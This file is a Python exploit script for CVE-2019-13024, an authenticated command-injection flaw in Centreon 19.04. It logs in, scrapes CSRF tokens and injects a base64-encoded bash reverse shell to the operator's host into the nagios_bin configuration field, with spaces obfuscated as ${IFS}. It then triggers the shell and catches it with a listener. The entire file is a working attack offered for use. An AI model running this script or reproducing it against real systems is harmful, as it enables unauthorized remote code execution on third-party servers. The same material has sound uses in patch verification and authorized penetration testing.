# -*- coding: utf-8 -*-

# Centreon 19.04 Authenticated RCE
# CVE: 2019-13024
# Exploit author: Askar
# https://www.exploit-db.com/exploits/47069
# https://github.com/mhaskar/CVE-2019-13024/blob/master/Centreon-exploit.py
# Python script exploit author: Renan Almeida a.k.a. nullarmor <nullarmor@protonmail.com>

import argparse
import base64
import re
import requests
import sys
from pwn import *

def main():
    
    # args
    argparser = argparse.ArgumentParser(description='Centreon 19.04 Authenticated RCE', 
                                        add_help=False)
    main_arg = argparser.add_argument_group("MAIN")
    
    main_arg.add_argument('-h', '--help', 
                            help='Show this help menu', 
                            action='store_true')
    
    main_arg.add_argument('--rhost', type=str,
                            help='Centreon host', 
                            required=True)
    
    main_arg.add_argument('--username', type=str,
                            help='Centreon username', 
                            required=True)
    
    main_arg.add_argument('--password', type=str,
                            help='Centreon password', 
                            required=True)
                            
    main_arg.add_argument('--lhost', type=str,
                            help='Local host to receive reverse shell', 
                            required=True)
    
    main_arg.add_argument('--lport', type=str,
                            help='Local port to receive reverse shell (default: 4444)', 
                            default='4444')
    
    main_arg.add_argument('--burpsuite', action='store_true',
                            help='Enable burpsuite proxy')
    
    args = argparser.parse_args()
    
    # arg validation
    if args.help:
        argparser.print_help()
        sys.exit(1)
    
    # cons
    rhost = args.rhost
    username = args.username
    password = args.password
    lhost = args.lhost
    lport = args.lport
    burpsuite = args.burpsuite
    
    # session
    sess = requests.Session()
    
    # proxies
    proxies = { "http": "127.0.0.1:8080" }
    
    def reverse_shell(l):
        
        print(" [*] Spawning the reverse shell...")
 
        l.sendline("""whoami""")
        l.interactive()
        
    def login():
        
        print(" [*] Grabbing Centreon token...")
        
        try:
            if burpsuite:
                r = sess.get("http://{}/centreon".format(rhost), proxies=proxies)
            else:
                r = sess.get("http://{}/centreon".format(rhost))
            
            centreon_token = r.text.split('centreon_token" type="hidden" value="')[1].split('" />')[0]
            
        except Exception as e:
            print(e)
            print(" [*] Failed to grab the Centreon token.")
            sys.exit(1)
        
        else:
            print(" [*] Centreon token retrieved: {}".format(centreon_token))
            
            params = {
                "useralias": username,
                "password": password,
                "submitLogin": "Connect",
                "centreon_token": centreon_token
            }
            
            print(" [*] Logging on Centreon dashboard...")
            
            try:
                if burpsuite:
                    r = sess.post("http://{}/centreon/index.php".format(rhost), data=params, 
                                                                  proxies=proxies)
                else:
                    r = sess.post("http://{}/centreon/index.php".format(rhost), data=params)
            
            except Exception as e:
                print(e)
                print(" [*] Failed to login due an error!")
                sys.exit(1)
            
            else:
                if "main.php" in r.url:
                    print(" [*] Logged with success!")
                    
                    return True
                
                else:
                    print(" [*] Failed to login, check your credentials :(")
                    sys.exit(1)
    
    
    def get_centreon_token_2():
        
        print(" [*] Grabbing the 2nd Centreon token...")
        
        try:
            if burpsuite:
                r = sess.get("http://{}/centreon/main.get.php?p=60901".format(rhost), 
                                                                    proxies=proxies)
            else:
                r = sess.get("http://{}/centreon/main.get.php?p=60901".format(rhost))
        
        except Exception as e:
            print(e)
            print(" [*] Failed to grab the 2nd Centreon token.")
            
        else:
            centreon_token_2 = re.findall(r"\b[0-9a-z]{32}\b", r.text)[1]
            
            return centreon_token_2
            
            
    def exploit(centreon_token_2):
        
        raw_payload = "bash -i >& /dev/tcp/{}/{} 0>&1".format(lhost, lport)
        raw_payload = base64.b64encode(bytes(raw_payload.encode('utf-8'))).decode()
        payload = "echo {}|base64 -d|bash;".format(raw_payload)
        payload = payload.replace(' ', '${IFS}')
        
        payload_info = {
            "name": "Central",
            "ns_ip_address": "127.0.0.1",
            "localhost[localhost]": "1",
            "is_default[is_default]": "0",
            "remote_id": "",
            "ssh_port": "22",
            "init_script": "centengine",
            "nagios_bin": "s;{}".format(payload),
            "nagiostats_bin": "/usr/sbin/centenginestats",
            "nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
            "centreonbroker_cfg_path": "/etc/centreon-broker",
            "centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
            "centreonbroker_logs_path": "",
            "centreonconnector_path": "/usr/lib64/centreon-connector",
            "init_script_centreontrapd": "centreontrapd",
            "snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
            "ns_activate[ns_activate]": "1",
            "submitC": "Save",
            "id": "1",
            "o": "c",
            "centreon_token": centreon_token_2,
        }
        
        
        print(" [*] Exploiting the Centreon...")
        
        try:
            if burpsuite:
                r = sess.post("http://{}/centreon/main.get.php?p=60901".format(rhost), 
                                                                data=payload_info, proxies=proxies)
            else:
                r = sess.post("http://{}/centreon/main.get.php?p=60901".format(rhost), 
                                                                data=payload_info)
        
        except Exception as e:
            print(e)
            print(" [*] Failed to exploit the Centreon web application :(")
        
        else:
           
            xml_page_data = {
                "poller": "1",
                "debug": "true",
                "generate": "true",
            }
            
            print(" [*] Triggering the exploit...")
            
            l = listen(lport)
            
            try:
                if burpsuite:
                    r = sess.post("http://{}/centreon/include/configuration/configGenerate/xml/generateFiles.php".format(rhost), 
                                                                                        data=xml_page_data, proxies=proxies, timeout=5)
                else:
                    r = sess.post("http://{}/centreon/include/configuration/configGenerate/xml/generateFiles.php".format(rhost), 
                                                                                        data=xml_page_data, timeout=5)
            
            except:
                #pass
                reverse_shell(l)
    
    
    # main
    print(" [>] Centreon 19.04 Authenticated RCE")
    print(" [*] Python script exploit author: nullarmor")
              
     
    if login():
        exploit(get_centreon_token_2())         

if __name__ == "__main__":
    main()
